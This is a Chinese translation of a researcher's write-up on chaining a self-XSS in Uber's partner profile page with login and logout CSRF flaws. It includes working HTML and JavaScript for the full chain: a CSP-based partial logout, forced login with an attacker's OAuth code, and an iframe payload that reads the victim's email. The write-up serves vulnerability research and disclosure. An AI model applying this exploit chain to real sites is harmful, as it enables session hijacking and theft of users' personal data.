作者:
virusdefender
·
2016/03/25 10:43
0x00 簡介
作者透過精心設計,將一個雞肋的的self-XSS和兩個雞肋的csrf變成了一個高質量的漏洞。
原文:
https://fin1te.net/articles/uber-turning-self-xss-into-good-xss/
在Uber一個設定個人資訊的頁面上,我找到一個非常簡單且經典的XSS漏洞。設定項中隨便修改一個欄位為<script>alert(document.domain);</script>
就可以執行並彈框。
一共花了兩分鐘找到這個漏洞,但是我們要來點更有意思的。
0x01 self-XSS
可以在網頁中執行外界可控的任意JS指令碼就被稱為XSS漏洞,這時候你一般可以去讀取其他使用者的Cookies,或者發出一些請求。但是如果你只能對自己做這些,而不是其他使用者,比如這段程式碼只會在你能看到的頁面裡面執行,這就被稱為self-XSS。這種情況下,即使我們發現了漏洞,也很難去影響其他人。
我猶豫了一會,但是我後來決定試試,看能不能去掉這個"self"。
0x02 Uber OAuth 登入流程
Ubser的OAuth登入流程也是很經典的
- 使用者訪問Uber某個需要登入的網站,比如
partners.uber.com
- 使用者被重定向到授權伺服器,比如
login.uber.com
- 使用者輸入賬號密碼
- 使用者重定向回到
partners.uber.com
,同時URL中攜帶code
,可以用來換取Access Token
從上面的截圖你可以看到,OAuth的回撥地址/oauth/callback?code=...
並沒有使用標準推薦的state
引數,這意味著登入功能存在CSRF的問題,但是不好說會不會造成嚴重的問題。
同時,在退出登入的地方也有一個CSRF漏洞,當然這一般不會認為是漏洞。訪問/logout
會清除使用者partner.uber.com
的session,然後再重定向到login.uber.com
的退出登入頁面,清除login.uber.com
的session。
因為我們的payload只存在於自己的賬號中,我們可以讓其他使用者登入進我們的賬號,然後payload就會執行,不過登入我們的賬號會清除他們之前所有的session,這就讓漏洞大打折扣了。所以我們要把漏洞放在一起利用。
0x03 捆綁利用漏洞
我們的計劃就是這樣的了
- 首先,讓使用者登出
partner.uber.com
,但是不要登出login.uber.com
,這樣後面可以讓使用者重新回到原有賬號
- 然後,讓使用者登入我們的賬號,這樣payload就會執行
- 最後,使用者登入自己的賬號,但是我們的payload仍然在執行,這樣就可以盜取資訊了
第一步 只在一個域名退出登入
首先傳送一個請求到https://partners.uber.com/logout/
,然後就可以登入我們的賬號了。但是問題在於退出登入的重定向最終會到達https://login.uber.com/logout/
,導致另外一個域名也退出登入。我們能不能控制呢?
我的方法就是使用Content Security Police來設定可以載入的域名。我只設定了允許請求partners.uber.com
,login.uber.com
就會被瀏覽器攔截。
#!html
<!-- 設定CSP策略阻止訪問 login.uber.com -->
<meta http-equiv="Content-Security-Policy" content="img-src https://partners.uber.com">
<!-- 退出登入 partners.uber.com -->
<img src="https://partners.uber.com/logout/">
這樣是可以的,CSP會有下面的提示
第二步 登入我的賬號
這一步相對來說簡單了一些,我們向https://partners.uber.com/login/
傳送一個請求(這一步是必須的,否則我們沒法接收到回撥)。上面我們用了CSP的trick來阻止部分流程,這裡我們就需要用我自己的code
來讓使用者登入了。
因為CSP會觸發onerror
,我們就可以在那裡面跳轉到下一步了。
#!html
<!-- CSP策略會阻止訪問 login.uber.com -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- 退出登入 partners.uber.com,在跳轉到login.iber.com的時候觸發onerror -->
<img src="https://partners.uber.com/logout/" onerror="login();">
<script>
//初始化登入
var login = function() {
var loginImg = document.createElement('img');
loginImg.src = 'https://partners.uber.com/login/';
loginImg.onerror = redir;
}
//用我們的code登入
var redir = function() {
// 為了方便測試,code放在url hash中,實際需要動態的獲取
var code = window.location.hash.slice(1);
var loginImg2 = document.createElement('img');
loginImg2.src = 'https://partners.uber.com/oauth/callback?code=' + code;
loginImg2.onerror = function() {
window.location = 'https://partners.uber.com/profile/';
}
}
</script>
第三步 回到原來的賬號
這一部分的程式碼將會有XSS的payload,在我的賬號中。
只要payload一執行,就可以切換回原來的賬號了。這個必須在iframe中,因為需要保持payload一直執行。
#!js
// 建立一個iframe,讓使用者退出登入我的賬號
var loginIframe = document.createElement('iframe');
loginIframe.setAttribute('src', 'https://fin1te.net/poc/uber/login-target.html');
document.body.appendChild(loginIframe);
iframe裡面還是用CSP的trick
#!js
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<img src="https://partners.uber.com/logout/" onerror="redir();">
<script>
//使用使用者login.uber.com的session重新登入
var redir = function() {
window.location = 'https://partners.uber.com/login/';
};
</script>
最後一部分是建立另外一個iframe,這樣可以獲取一些資料了
#!js
//等待幾秒,載入個人資訊頁面,這是使用者原始的資訊
setTimeout(function() {
var profileIframe = document.createElement('iframe');
profileIframe.setAttribute('src', 'https://partners.uber.com/profile/');
profileIframe.setAttribute('id', 'pi');
document.body.appendChild(profileIframe);
//提取email資訊
profileIframe.onload = function() {
var d = document.getElementById('pi').contentWindow.document.body.innerHTML;
var matches = /value="([^"]+)" name="email"/.exec(d);
alert(matches[1]);
}
}, 9000);
因為我們最終的這個iframe是在個人資訊頁面載入的,是同源的,而且X-Frame-Options
也是設定的sameorigin
而不是deny
,所以我們使用contentWindow
是可以訪問到裡面的內容的。
綜合在一起
- 將第3步payload加入個人資訊中
- 登入自己的賬號,取消回撥,拿到還未用過的
code
- 讓使用者訪問我們在第2步中建立的頁面
- 這樣使用者就會退出登入,然後重新登入到我的賬號
- 第3步的payload就會執行
- 在隱藏的iframe中,退出登入我的賬號
- 在另外一個隱藏的iframe中,重新登入使用者的賬號
- 這樣我們就有了一個同源的有使用者session的iframe了
這個漏洞很有意思,啟發我們要在一個更高的層面去挖掘和思考安全漏洞。
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!